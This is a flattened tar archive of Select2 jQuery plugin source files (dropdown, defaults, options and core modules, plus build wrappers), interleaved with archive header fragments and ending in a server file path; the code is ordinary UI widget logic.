this.$dropdownContainer.detach(); }; AttachBody.prototype._attachPositioningHandler = function (decorated, container) { var self = this; var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.each(function () { Utils.StoreData(this, 'select2-scroll-position', { x: $(this).scrollLeft(), y: $(this).scrollTop() }); }); $watchers.on(scrollEvent, function (ev) { var position = Utils.GetData(this, 'select2-scroll-position'); $(this).scrollTop(position.y); }); $(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent, function (e) { self._positionDropdown(); self._resizeDropdown(); }); }; AttachBody.prototype._detachPositioningHandler = function (decorated, container) { var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.off(scrollEvent); $(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent); }; AttachBody.prototype._positionDropdown = function () { var $window = $(window); var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above'); var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below'); var newDirection = null; var offset = this.$container.offset(); offset.bottom = offset.top + this.$container.outerHeight(false); var container = { height: this.$container.outerHeight(false) }; container.top = offset.top; container.bottom = offset.top + container.height; var dropdown = { height: this.$dropdown.outerHeight(false) }; var viewport = { top: $window.scrollTop(), bottom: $window.scrollTop() + $window.height() }; var enoughRoomAbove = viewport.top < (offset.top - dropdown.height); var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height); var css = { left: offset.left, top: container.bottom }; // Determine what the parent element is to use for calciulating the offset var $offsetParent = this.$dropdownParent; // For statically positoned elements, we need to get the element // that is determining the offset if ($offsetParent.css('position') === 'static') { $offsetParent = $offsetParent.offsetParent(); } var parentOffset = $offsetParent.offset(); css.top -= parentOffset.top; css.left -= parentOffset.left; if (!isCurrentlyAbove && !isCurrentlyBelow) { newDirection = 'below'; } if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) { newDirection = 'above'; } else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) { newDirection = 'below'; } if (newDirection == 'above' || (isCurrentlyAbove && newDirection !== 'below')) { css.top = container.top - parentOffset.top - dropdown.height; } if (newDirection != null) { this.$dropdown .removeClass('select2-dropdown--below select2-dropdown--above') .addClass('select2-dropdown--' + newDirection); this.$container .removeClass('select2-container--below select2-container--above') .addClass('select2-container--' + newDirection); } this.$dropdownContainer.css(css); }; AttachBody.prototype._resizeDropdown = function () { var css = { width: this.$container.outerWidth(false) + 'px' }; if (this.options.get('dropdownAutoWidth')) { css.minWidth = css.width; css.position = 'relative'; css.width = 'auto'; } this.$dropdown.css(css); }; AttachBody.prototype._showDropdown = function (decorated) { this.$dropdownContainer.appendTo(this.$dropdownParent); this._positionDropdown(); this._resizeDropdown(); }; return AttachBody; }); select2/dropdown/hidePlaceholder.js000064400000001772151701463450013370 0ustar00define([ ], function () { function HidePlaceholder (decorated, $element, options, dataAdapter) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options, dataAdapter); } HidePlaceholder.prototype.append = function (decorated, data) { data.results = this.removePlaceholder(data.results); decorated.call(this, data); }; HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; HidePlaceholder.prototype.removePlaceholder = function (_, data) { var modifiedData = data.slice(0); for (var d = data.length - 1; d >= 0; d--) { var item = data[d]; if (this.placeholder.id === item.id) { modifiedData.splice(d, 1); } } return modifiedData; }; return HidePlaceholder; }); select2/dropdown/search.js000064400000005064151701463450011557 0ustar00define([ 'jquery', '../utils' ], function ($, Utils) { function Search () { } Search.prototype.render = function (decorated) { var $rendered = decorated.call(this); var $search = $( '<span class="select2-search select2-search--dropdown">' + '<input class="select2-search__field" type="search" tabindex="-1"' + ' autocomplete="off" autocorrect="off" autocapitalize="none"' + ' spellcheck="false" role="textbox" />' + '</span>' ); this.$searchContainer = $search; this.$search = $search.find('input'); $rendered.prepend($search); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); this.$search.on('keydown', function (evt) { self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); }); // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$search.on('input', function (evt) { // Unbind the duplicated `keyup` event $(this).off('keyup'); }); this.$search.on('keyup input', function (evt) { self.handleSearch(evt); }); container.on('open', function () { self.$search.attr('tabindex', 0); self.$search.focus(); window.setTimeout(function () { self.$search.focus(); }, 0); }); container.on('close', function () { self.$search.attr('tabindex', -1); self.$search.val(''); self.$search.blur(); }); container.on('focus', function () { if (!container.isOpen()) { self.$search.focus(); } }); container.on('results:all', function (params) { if (params.query.term == null || params.query.term === '') { var showSearch = self.showSearch(params); if (showSearch) { self.$searchContainer.removeClass('select2-search--hide'); } else { self.$searchContainer.addClass('select2-search--hide'); } } }); }; Search.prototype.handleSearch = function (evt) { if (!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.showSearch = function (_, params) { return true; }; return Search; }); select2/dropdown/attachContainer.js000064400000000756151701463450013424 0ustar00define([ ], function () { function AttachContainer (decorated, $element, options) { decorated.call(this, $element, options); } AttachContainer.prototype.position = function (decorated, $dropdown, $container) { var $dropdownContainer = $container.find('.dropdown-wrapper'); $dropdownContainer.append($dropdown); $dropdown.addClass('select2-dropdown--below'); $container.addClass('select2-container--below'); }; return AttachContainer; }); select2/dropdown/selectOnClose.js000064400000002360151701463460013051 0ustar00define([ '../utils' ], function (Utils) { function SelectOnClose () { } SelectOnClose.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('close', function (params) { self._handleSelectOnClose(params); }); }; SelectOnClose.prototype._handleSelectOnClose = function (_, params) { if (params && params.originalSelect2Event != null) { var event = params.originalSelect2Event; // Don't select an item if the close event was triggered from a select or // unselect event if (event._type === 'select' || event._type === 'unselect') { return; } } var $highlightedResults = this.getHighlightedResults(); // Only select highlighted results if ($highlightedResults.length < 1) { return; } var data = Utils.GetData($highlightedResults[0], 'data'); // Don't re-select already selected resulte if ( (data.element != null && data.element.selected) || (data.element == null && data.selected) ) { return; } this.trigger('select', { data: data }); }; return SelectOnClose; }); select2/dropdown/minimumResultsForSearch.js000064400000001627151701463460015146 0ustar00define([ ], function () { function countResults (data) { var count = 0; for (var d = 0; d < data.length; d++) { var item = data[d]; if (item.children) { count += countResults(item.children); } else { count++; } } return count; } function MinimumResultsForSearch (decorated, $element, options, dataAdapter) { this.minimumResultsForSearch = options.get('minimumResultsForSearch'); if (this.minimumResultsForSearch < 0) { this.minimumResultsForSearch = Infinity; } decorated.call(this, $element, options, dataAdapter); } MinimumResultsForSearch.prototype.showSearch = function (decorated, params) { if (countResults(params.data.results) < this.minimumResultsForSearch) { return false; } return decorated.call(this, params); }; return MinimumResultsForSearch; }); select2/dropdown/stopPropagation.js000064400000001303151701463460013474 0ustar00define([ ], function () { function StopPropagation () { } StopPropagation.prototype.bind = function (decorated, container, $container) { decorated.call(this, container, $container); var stoppedEvents = [ 'blur', 'change', 'click', 'dblclick', 'focus', 'focusin', 'focusout', 'input', 'keydown', 'keyup', 'keypress', 'mousedown', 'mouseenter', 'mouseleave', 'mousemove', 'mouseover', 'mouseup', 'search', 'touchend', 'touchstart' ]; this.$dropdown.on(stoppedEvents.join(' '), function (evt) { evt.stopPropagation(); }); }; return StopPropagation; }); select2/dropdown/closeOnSelect.js000064400000001435151701463460013053 0ustar00define([ ], function () { function CloseOnSelect () { } CloseOnSelect.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('select', function (evt) { self._selectTriggered(evt); }); container.on('unselect', function (evt) { self._selectTriggered(evt); }); }; CloseOnSelect.prototype._selectTriggered = function (_, evt) { var originalEvent = evt.originalEvent; // Don't close if the control key is being held if (originalEvent && originalEvent.ctrlKey) { return; } this.trigger('close', { originalEvent: originalEvent, originalSelect2Event: evt }); }; return CloseOnSelect; }); select2/defaults.js000064400000025402151701463460010264 0ustar00define([ 'jquery', 'require', './results', './selection/single', './selection/multiple', './selection/placeholder', './selection/allowClear', './selection/search', './selection/eventRelay', './utils', './translation', './diacritics', './data/select', './data/array', './data/ajax', './data/tags', './data/tokenizer', './data/minimumInputLength', './data/maximumInputLength', './data/maximumSelectionLength', './dropdown', './dropdown/search', './dropdown/hidePlaceholder', './dropdown/infiniteScroll', './dropdown/attachBody', './dropdown/minimumResultsForSearch', './dropdown/selectOnClose', './dropdown/closeOnSelect', './i18n/en' ], function ($, require, ResultsList, SingleSelection, MultipleSelection, Placeholder, AllowClear, SelectionSearch, EventRelay, Utils, Translation, DIACRITICS, SelectData, ArrayData, AjaxData, Tags, Tokenizer, MinimumInputLength, MaximumInputLength, MaximumSelectionLength, Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll, AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect, EnglishTranslation) { function Defaults () { this.reset(); } Defaults.prototype.apply = function (options) { options = $.extend(true, {}, this.defaults, options); if (options.dataAdapter == null) { if (options.ajax != null) { options.dataAdapter = AjaxData; } else if (options.data != null) { options.dataAdapter = ArrayData; } else { options.dataAdapter = SelectData; } if (options.minimumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MinimumInputLength ); } if (options.maximumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumInputLength ); } if (options.maximumSelectionLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumSelectionLength ); } if (options.tags) { options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags); } if (options.tokenSeparators != null || options.tokenizer != null) { options.dataAdapter = Utils.Decorate( options.dataAdapter, Tokenizer ); } if (options.query != null) { var Query = require(options.amdBase + 'compat/query'); options.dataAdapter = Utils.Decorate( options.dataAdapter, Query ); } if (options.initSelection != null) { var InitSelection = require(options.amdBase + 'compat/initSelection'); options.dataAdapter = Utils.Decorate( options.dataAdapter, InitSelection ); } } if (options.resultsAdapter == null) { options.resultsAdapter = ResultsList; if (options.ajax != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, InfiniteScroll ); } if (options.placeholder != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, HidePlaceholder ); } if (options.selectOnClose) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, SelectOnClose ); } } if (options.dropdownAdapter == null) { if (options.multiple) { options.dropdownAdapter = Dropdown; } else { var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch); options.dropdownAdapter = SearchableDropdown; } if (options.minimumResultsForSearch !== 0) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, MinimumResultsForSearch ); } if (options.closeOnSelect) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, CloseOnSelect ); } if ( options.dropdownCssClass != null || options.dropdownCss != null || options.adaptDropdownCssClass != null ) { var DropdownCSS = require(options.amdBase + 'compat/dropdownCss'); options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, DropdownCSS ); } options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, AttachBody ); } if (options.selectionAdapter == null) { if (options.multiple) { options.selectionAdapter = MultipleSelection; } else { options.selectionAdapter = SingleSelection; } // Add the placeholder mixin if a placeholder was specified if (options.placeholder != null) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, Placeholder ); } if (options.allowClear) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, AllowClear ); } if (options.multiple) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, SelectionSearch ); } if ( options.containerCssClass != null || options.containerCss != null || options.adaptContainerCssClass != null ) { var ContainerCSS = require(options.amdBase + 'compat/containerCss'); options.selectionAdapter = Utils.Decorate( options.selectionAdapter, ContainerCSS ); } options.selectionAdapter = Utils.Decorate( options.selectionAdapter, EventRelay ); } if (typeof options.language === 'string') { // Check if the language is specified with a region if (options.language.indexOf('-') > 0) { // Extract the region information if it is included var languageParts = options.language.split('-'); var baseLanguage = languageParts[0]; options.language = [options.language, baseLanguage]; } else { options.language = [options.language]; } } if ($.isArray(options.language)) { var languages = new Translation(); options.language.push('en'); var languageNames = options.language; for (var l = 0; l < languageNames.length; l++) { var name = languageNames[l]; var language = {}; try { // Try to load it with the original name language = Translation.loadPath(name); } catch (e) { try { // If we couldn't load it, check if it wasn't the full path name = this.defaults.amdLanguageBase + name; language = Translation.loadPath(name); } catch (ex) { // The translation could not be loaded at all. Sometimes this is // because of a configuration problem, other times this can be // because of how Select2 helps load all possible translation files. if (options.debug && window.console && console.warn) { console.warn( 'Select2: The language file for "' + name + '" could not be ' + 'automatically loaded. A fallback will be used instead.' ); } continue; } } languages.extend(language); } options.translations = languages; } else { var baseTranslation = Translation.loadPath( this.defaults.amdLanguageBase + 'en' ); var customTranslation = new Translation(options.language); customTranslation.extend(baseTranslation); options.translations = customTranslation; } return options; }; Defaults.prototype.reset = function () { function stripDiacritics (text) { // Used 'uni range + named function' from http://jsperf.com/diacritics/18 function match(a) { return DIACRITICS[a] || a; } return text.replace(/[^\u0000-\u007E]/g, match); } function matcher (params, data) { // Always return the object if there is nothing to compare if ($.trim(params.term) === '') { return data; } // Do a recursive check for options with children if (data.children && data.children.length > 0) { // Clone the data object if there are children // This is required as we modify the object to remove any non-matches var match = $.extend(true, {}, data); // Check each child of the option for (var c = data.children.length - 1; c >= 0; c--) { var child = data.children[c]; var matches = matcher(params, child); // If there wasn't a match, remove the object in the array if (matches == null) { match.children.splice(c, 1); } } // If any children matched, return the new object if (match.children.length > 0) { return match; } // If there were no matching children, check just the plain object return matcher(params, match); } var original = stripDiacritics(data.text).toUpperCase(); var term = stripDiacritics(params.term).toUpperCase(); // Check if the text contains the term if (original.indexOf(term) > -1) { return data; } // If it doesn't contain the term, don't return anything return null; } this.defaults = { amdBase: './', amdLanguageBase: './i18n/', closeOnSelect: true, debug: false, dropdownAutoWidth: false, escapeMarkup: Utils.escapeMarkup, language: EnglishTranslation, matcher: matcher, minimumInputLength: 0, maximumInputLength: 0, maximumSelectionLength: 0, minimumResultsForSearch: 0, selectOnClose: false, sorter: function (data) { return data; }, templateResult: function (result) { return result.text; }, templateSelection: function (selection) { return selection.text; }, theme: 'default', width: 'resolve' }; }; Defaults.prototype.set = function (key, value) { var camelKey = $.camelCase(key); var data = {}; data[camelKey] = value; var convertedData = Utils._convertData(data); $.extend(true, this.defaults, convertedData); }; var defaults = new Defaults(); return defaults; }); select2/options.js000064400000006670151701463460010156 0ustar00define([ 'require', 'jquery', './defaults', './utils' ], function (require, $, Defaults, Utils) { function Options (options, $element) { this.options = options; if ($element != null) { this.fromElement($element); } this.options = Defaults.apply(this.options); if ($element && $element.is('input')) { var InputCompat = require(this.get('amdBase') + 'compat/inputData'); this.options.dataAdapter = Utils.Decorate( this.options.dataAdapter, InputCompat ); } } Options.prototype.fromElement = function ($e) { var excludedData = ['select2']; if (this.options.multiple == null) { this.options.multiple = $e.prop('multiple'); } if (this.options.disabled == null) { this.options.disabled = $e.prop('disabled'); } if (this.options.language == null) { if ($e.prop('lang')) { this.options.language = $e.prop('lang').toLowerCase(); } else if ($e.closest('[lang]').prop('lang')) { this.options.language = $e.closest('[lang]').prop('lang'); } } if (this.options.dir == null) { if ($e.prop('dir')) { this.options.dir = $e.prop('dir'); } else if ($e.closest('[dir]').prop('dir')) { this.options.dir = $e.closest('[dir]').prop('dir'); } else { this.options.dir = 'ltr'; } } $e.prop('disabled', this.options.disabled); $e.prop('multiple', this.options.multiple); if (Utils.GetData($e[0], 'select2Tags')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-select2-tags` attribute has been changed to ' + 'use the `data-data` and `data-tags="true"` attributes and will be ' + 'removed in future versions of Select2.' ); } Utils.StoreData($e[0], 'data', Utils.GetData($e[0], 'select2Tags')); Utils.StoreData($e[0], 'tags', true); } if (Utils.GetData($e[0], 'ajaxUrl')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-ajax-url` attribute has been changed to ' + '`data-ajax--url` and support for the old attribute will be removed' + ' in future versions of Select2.' ); } $e.attr('ajax--url', Utils.GetData($e[0], 'ajaxUrl')); Utils.StoreData($e[0], 'ajax-Url', Utils.GetData($e[0], 'ajaxUrl')); } var dataset = {}; // Prefer the element's `dataset` attribute if it exists // jQuery 1.x does not correctly handle data attributes with multiple dashes if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) { dataset = $.extend(true, {}, $e[0].dataset, Utils.GetData($e[0])); } else { dataset = Utils.GetData($e[0]); } var data = $.extend(true, {}, dataset); data = Utils._convertData(data); for (var key in data) { if ($.inArray(key, excludedData) > -1) { continue; } if ($.isPlainObject(this.options[key])) { $.extend(this.options[key], data[key]); } else { this.options[key] = data[key]; } } return this; }; Options.prototype.get = function (key) { return this.options[key]; }; Options.prototype.set = function (key, val) { this.options[key] = val; }; return Options; }); select2/core.js000064400000037636151701463460007421 0ustar00define([ 'jquery', './options', './utils', './keys' ], function ($, Options, Utils, KEYS) { var Select2 = function ($element, options) { if (Utils.GetData($element[0], 'select2') != null) { Utils.GetData($element[0], 'select2').destroy(); } this.$element = $element; this.id = this._generateId($element); options = options || {}; this.options = new Options(options, $element); Select2.__super__.constructor.call(this); // Set up the tabindex var tabindex = $element.attr('tabindex') || 0; Utils.StoreData($element[0], 'old-tabindex', tabindex); $element.attr('tabindex', '-1'); // Set up containers and adapters var DataAdapter = this.options.get('dataAdapter'); this.dataAdapter = new DataAdapter($element, this.options); var $container = this.render(); this._placeContainer($container); var SelectionAdapter = this.options.get('selectionAdapter'); this.selection = new SelectionAdapter($element, this.options); this.$selection = this.selection.render(); this.selection.position(this.$selection, $container); var DropdownAdapter = this.options.get('dropdownAdapter'); this.dropdown = new DropdownAdapter($element, this.options); this.$dropdown = this.dropdown.render(); this.dropdown.position(this.$dropdown, $container); var ResultsAdapter = this.options.get('resultsAdapter'); this.results = new ResultsAdapter($element, this.options, this.dataAdapter); this.$results = this.results.render(); this.results.position(this.$results, this.$dropdown); // Bind events var self = this; // Bind the container to all of the adapters this._bindAdapters(); // Register any DOM event handlers this._registerDomEvents(); // Register any internal event handlers this._registerDataEvents(); this._registerSelectionEvents(); this._registerDropdownEvents(); this._registerResultsEvents(); this._registerEvents(); // Set the initial state this.dataAdapter.current(function (initialData) { self.trigger('selection:update', { data: initialData }); }); // Hide the original select $element.addClass('select2-hidden-accessible'); $element.attr('aria-hidden', 'true'); // Synchronize any monitored attributes this._syncAttributes(); Utils.StoreData($element[0], 'select2', this); // Ensure backwards compatibility with $element.data('select2'). $element.data('select2', this); }; Utils.Extend(Select2, Utils.Observable); Select2.prototype._generateId = function ($element) { var id = ''; if ($element.attr('id') != null) { id = $element.attr('id'); } else if ($element.attr('name') != null) { id = $element.attr('name') + '-' + Utils.generateChars(2); } else { id = Utils.generateChars(4); } id = id.replace(/(:|\.|\[|\]|,)/g, ''); id = 'select2-' + id; return id; }; Select2.prototype._placeContainer = function ($container) { $container.insertAfter(this.$element); var width = this._resolveWidth(this.$element, this.options.get('width')); if (width != null) { $container.css('width', width); } }; Select2.prototype._resolveWidth = function ($element, method) { var WIDTH = /^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i; if (method == 'resolve') { var styleWidth = this._resolveWidth($element, 'style'); if (styleWidth != null) { return styleWidth; } return this._resolveWidth($element, 'element'); } if (method == 'element') { var elementWidth = $element.outerWidth(false); if (elementWidth <= 0) { return 'auto'; } return elementWidth + 'px'; } if (method == 'style') { var style = $element.attr('style'); if (typeof(style) !== 'string') { return null; } var attrs = style.split(';'); for (var i = 0, l = attrs.length; i < l; i = i + 1) { var attr = attrs[i].replace(/\s/g, ''); var matches = attr.match(WIDTH); if (matches !== null && matches.length >= 1) { return matches[1]; } } return null; } return method; }; Select2.prototype._bindAdapters = function () { this.dataAdapter.bind(this, this.$container); this.selection.bind(this, this.$container); this.dropdown.bind(this, this.$container); this.results.bind(this, this.$container); }; Select2.prototype._registerDomEvents = function () { var self = this; this.$element.on('change.select2', function () { self.dataAdapter.current(function (data) { self.trigger('selection:update', { data: data }); }); }); this.$element.on('focus.select2', function (evt) { self.trigger('focus', evt); }); this._syncA = Utils.bind(this._syncAttributes, this); this._syncS = Utils.bind(this._syncSubtree, this); if (this.$element[0].attachEvent) { this.$element[0].attachEvent('onpropertychange', this._syncA); } var observer = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver ; if (observer != null) { this._observer = new observer(function (mutations) { $.each(mutations, self._syncA); $.each(mutations, self._syncS); }); this._observer.observe(this.$element[0], { attributes: true, childList: true, subtree: false }); } else if (this.$element[0].addEventListener) { this.$element[0].addEventListener( 'DOMAttrModified', self._syncA, false ); this.$element[0].addEventListener( 'DOMNodeInserted', self._syncS, false ); this.$element[0].addEventListener( 'DOMNodeRemoved', self._syncS, false ); } }; Select2.prototype._registerDataEvents = function () { var self = this; this.dataAdapter.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerSelectionEvents = function () { var self = this; var nonRelayEvents = ['toggle', 'focus']; this.selection.on('toggle', function () { self.toggleDropdown(); }); this.selection.on('focus', function (params) { self.focus(params); }); this.selection.on('*', function (name, params) { if ($.inArray(name, nonRelayEvents) !== -1) { return; } self.trigger(name, params); }); }; Select2.prototype._registerDropdownEvents = function () { var self = this; this.dropdown.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerResultsEvents = function () { var self = this; this.results.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerEvents = function () { var self = this; this.on('open', function () { self.$container.addClass('select2-container--open'); }); this.on('close', function () { self.$container.removeClass('select2-container--open'); }); this.on('enable', function () { self.$container.removeClass('select2-container--disabled'); }); this.on('disable', function () { self.$container.addClass('select2-container--disabled'); }); this.on('blur', function () { self.$container.removeClass('select2-container--focus'); }); this.on('query', function (params) { if (!self.isOpen()) { self.trigger('open', {}); } this.dataAdapter.query(params, function (data) { self.trigger('results:all', { data: data, query: params }); }); }); this.on('query:append', function (params) { this.dataAdapter.query(params, function (data) { self.trigger('results:append', { data: data, query: params }); }); }); this.on('keypress', function (evt) { var key = evt.which; if (self.isOpen()) { if (key === KEYS.ESC || key === KEYS.TAB || (key === KEYS.UP && evt.altKey)) { self.close(); evt.preventDefault(); } else if (key === KEYS.ENTER) { self.trigger('results:select', {}); evt.preventDefault(); } else if ((key === KEYS.SPACE && evt.ctrlKey)) { self.trigger('results:toggle', {}); evt.preventDefault(); } else if (key === KEYS.UP) { self.trigger('results:previous', {}); evt.preventDefault(); } else if (key === KEYS.DOWN) { self.trigger('results:next', {}); evt.preventDefault(); } } else { if (key === KEYS.ENTER || key === KEYS.SPACE || (key === KEYS.DOWN && evt.altKey)) { self.open(); evt.preventDefault(); } } }); }; Select2.prototype._syncAttributes = function () { this.options.set('disabled', this.$element.prop('disabled')); if (this.options.get('disabled')) { if (this.isOpen()) { this.close(); } this.trigger('disable', {}); } else { this.trigger('enable', {}); } }; Select2.prototype._syncSubtree = function (evt, mutations) { var changed = false; var self = this; // Ignore any mutation events raised for elements that aren't options or // optgroups. This handles the case when the select element is destroyed if ( evt && evt.target && ( evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP' ) ) { return; } if (!mutations) { // If mutation events aren't supported, then we can only assume that the // change affected the selections changed = true; } else if (mutations.addedNodes && mutations.addedNodes.length > 0) { for (var n = 0; n < mutations.addedNodes.length; n++) { var node = mutations.addedNodes[n]; if (node.selected) { changed = true; } } } else if (mutations.removedNodes && mutations.removedNodes.length > 0) { changed = true; } // Only re-pull the data if we think there is a change if (changed) { this.dataAdapter.current(function (currentData) { self.trigger('selection:update', { data: currentData }); }); } }; /** * Override the trigger method to automatically trigger pre-events when * there are events that can be prevented. */ Select2.prototype.trigger = function (name, args) { var actualTrigger = Select2.__super__.trigger; var preTriggerMap = { 'open': 'opening', 'close': 'closing', 'select': 'selecting', 'unselect': 'unselecting', 'clear': 'clearing' }; if (args === undefined) { args = {}; } if (name in preTriggerMap) { var preTriggerName = preTriggerMap[name]; var preTriggerArgs = { prevented: false, name: name, args: args }; actualTrigger.call(this, preTriggerName, preTriggerArgs); if (preTriggerArgs.prevented) { args.prevented = true; return; } } actualTrigger.call(this, name, args); }; Select2.prototype.toggleDropdown = function () { if (this.options.get('disabled')) { return; } if (this.isOpen()) { this.close(); } else { this.open(); } }; Select2.prototype.open = function () { if (this.isOpen()) { return; } this.trigger('query', {}); }; Select2.prototype.close = function () { if (!this.isOpen()) { return; } this.trigger('close', {}); }; Select2.prototype.isOpen = function () { return this.$container.hasClass('select2-container--open'); }; Select2.prototype.hasFocus = function () { return this.$container.hasClass('select2-container--focus'); }; Select2.prototype.focus = function (data) { // No need to re-trigger focus events if we are already focused if (this.hasFocus()) { return; } this.$container.addClass('select2-container--focus'); this.trigger('focus', {}); }; Select2.prototype.enable = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("enable")` method has been deprecated and will' + ' be removed in later Select2 versions. Use $element.prop("disabled")' + ' instead.' ); } if (args == null || args.length === 0) { args = [true]; } var disabled = !args[0]; this.$element.prop('disabled', disabled); }; Select2.prototype.data = function () { if (this.options.get('debug') && arguments.length > 0 && window.console && console.warn) { console.warn( 'Select2: Data can no longer be set using `select2("data")`. You ' + 'should consider setting the value instead using `$element.val()`.' ); } var data = []; this.dataAdapter.current(function (currentData) { data = currentData; }); return data; }; Select2.prototype.val = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("val")` method has been deprecated and will be' + ' removed in later Select2 versions. Use $element.val() instead.' ); } if (args == null || args.length === 0) { return this.$element.val(); } var newVal = args[0]; if ($.isArray(newVal)) { newVal = $.map(newVal, function (obj) { return obj.toString(); }); } this.$element.val(newVal).trigger('change'); }; Select2.prototype.destroy = function () { this.$container.remove(); if (this.$element[0].detachEvent) { this.$element[0].detachEvent('onpropertychange', this._syncA); } if (this._observer != null) { this._observer.disconnect(); this._observer = null; } else if (this.$element[0].removeEventListener) { this.$element[0] .removeEventListener('DOMAttrModified', this._syncA, false); this.$element[0] .removeEventListener('DOMNodeInserted', this._syncS, false); this.$element[0] .removeEventListener('DOMNodeRemoved', this._syncS, false); } this._syncA = null; this._syncS = null; this.$element.off('.select2'); this.$element.attr('tabindex', Utils.GetData(this.$element[0], 'old-tabindex')); this.$element.removeClass('select2-hidden-accessible'); this.$element.attr('aria-hidden', 'false'); Utils.RemoveData(this.$element[0]); this.$element.removeData('select2'); this.dataAdapter.destroy(); this.selection.destroy(); this.dropdown.destroy(); this.results.destroy(); this.dataAdapter = null; this.selection = null; this.dropdown = null; this.results = null; }; Select2.prototype.render = function () { var $container = $( '<span class="select2 select2-container">' + '<span class="selection"></span>' + '<span class="dropdown-wrapper" aria-hidden="true"></span>' + '</span>' ); $container.attr('dir', this.options.get('dir')); this.$container = $container; this.$container.addClass('select2-container--' + this.options.get('theme')); Utils.StoreData($container[0], 'element', this.$element); return $container; }; return Select2; }); wrapper.end.js000064400000000727151701463460007344 0ustar00 // Autoload the jQuery bindings // We know that all of the modules exist above this, so we're safe var select2 = S2.require('jquery.select2'); // Hold the AMD module references on the jQuery function that was just loaded // This allows Select2 to use the internal loader outside of this file, such // as in the language files. jQuery.fn.select2.amd = S2; // Return the Select2 instance for anyone who is importing it. return select2; })); jquery.mousewheel.shim.js000064400000000165151701463460011545 0ustar00define([ 'jquery' ], function ($) { // Used to shim jQuery.mousewheel for non-full builds. return $; }); wrapper.start.js000064400000002407151701463460007730 0ustar00/*! * Select2 <%= package.version %> * https://select2.github.io * * Released under the MIT license * https://github.com/select2/select2/blob/master/LICENSE.md */ ;(function (factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['jquery'], factory); } else if (typeof module === 'object' && module.exports) { // Node/CommonJS module.exports = function (root, jQuery) { if (jQuery === undefined) { // require('jQuery') returns a factory that requires window to // build a jQuery instance, we normalize how we use modules // that require this pattern but the window provided is a noop // if it's defined (how jquery works) if (typeof window !== 'undefined') { jQuery = require('jquery'); } else { jQuery = require('jquery')(root); } } factory(jQuery); return jQuery; }; } else { // Browser globals factory(jQuery); } } (function (jQuery) { // This is needed so we can catch the AMD loader configuration and use it // The inner file should be wrapped (by `banner.start.js`) in a function that // returns the AMD loader references. var S2 =jquery.select2.js000064400000003023151701463460007766 0ustar00define([ 'jquery', 'jquery-mousewheel', './select2/core', './select2/defaults', './select2/utils' ], function ($, _, Select2, Defaults, Utils) { if ($.fn.select2 == null) { // All methods that should return the element var thisMethods = ['open', 'close', 'destroy']; $.fn.select2 = function (options) { options = options || {}; if (typeof options === 'object') { this.each(function () { var instanceOptions = $.extend(true, {}, options); var instance = new Select2($(this), instanceOptions); }); return this; } else if (typeof options === 'string') { var ret; var args = Array.prototype.slice.call(arguments, 1); this.each(function () { var instance = Utils.GetData(this, 'select2'); if (instance == null && window.console && console.error) { console.error( 'The select2(\'' + options + '\') method was called on an ' + 'element that is not using Select2.' ); } ret = instance[options].apply(instance, args); }); // Check if we should be returning `this` if ($.inArray(options, thisMethods) > -1) { return this; } return ret; } else { throw new Error('Invalid arguments for Select2: ' + options); } }; } if ($.fn.select2.defaults == null) { $.fn.select2.defaults = Defaults; } return Select2; });
/home/emeraadmin/.caldav/.././public_html/node_modules/../src/../4d695/js.tar